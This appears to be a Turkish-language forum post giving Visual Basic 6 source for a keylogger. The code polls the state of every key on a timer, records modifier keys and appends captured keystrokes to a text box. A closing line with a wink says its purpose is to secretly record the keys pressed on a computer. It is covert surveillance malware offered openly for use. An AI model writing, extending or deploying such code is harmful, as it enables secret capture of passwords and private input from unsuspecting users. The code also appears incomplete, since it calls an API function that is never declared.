Kod: Tümünü seç
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Sub Form_Load()
Timer1.Enabled = True ' VB de thread kullanamayacagimiz icin ona benzer olarak
yada yakin olarak Timer objesini kullaniyoruz.
Bunun icinde Timer1 i acilista Enable ediyoruz.
End Sub
Private Sub Timer1_Timer()
CheckKeys ' Tuslari yakalayip belirleyen düzenek
End Sub
Private Sub CheckKeys()
Dim keyResult As String ' Döngü icerisinde iken kullanilacak gecici degisken
Dim keyIndex As Long
For keyIndex = 1 To 255 ' Toplam 255 adet tus oldugu icin 1 den 255 e kadar For-Next ile dönecegiz
keyResult = 0 ' önce keyResult 'i sifirlayalim,
keyResult = GetAsyncKeyState(keyIndex) ' Siradaki tusun durumunu ögrenelim,
If keyResult = -32767 Then 'Tus basili ise geriye -32767 dönecektir
Call Windows_OnKeyPress(keyIndex, GetShift, GetCtrl, GetAlt) ' Event' i simule etmek icin tusun degerini Sub' a gecirelim.
End If
Next keyIndex
End Sub
Private Sub Windows_OnKeyPress(ByVal KeyAscii As Long, Shift As Integer,
Ctrl As Integer, Alt As Integer) ' Tus Yakalamada Event'i Simule etmek icin kullanilacak
Sub
Text1 = Text1 & Chr(KeyAscii) & Shift
End Sub
Private Function GetCapsLock() As Boolean
GetCapsLock = CBool(GetKeyState(vbKeyCapital) And 1) ' API ye Capslock tusunu sorgulayalim
End Function
Private Function GetShift() As Long
ax = GetAsyncKeyState(vbKeyShift) ' API ye Shift tusunu sorgulayalim
If ax = -32768 Then GetShift = 1 ' E?er basyly ise 1 döndür
End Function
Private Function GetCtrl() As Long
ax = GetAsyncKeyState(vbKeyControl) ' API ye Ctrl tusunu sorgulayalim
If ax = -32768 Then GetCtrl = 1 ' E?er basili ise 1 döndür
End Function
Private Function GetAlt() As Long
ax = GetAsyncKeyState(vbKeyMenu) ' API ye Alt tusunu sorgulayalim
If ax = -32768 Then GetAlt = 1 ' Eger basili ise 1 döndür
End Function
amaci keyloggerin Bilgisayar'da Basilan Tuslari Gizlice Kaydeder :wink: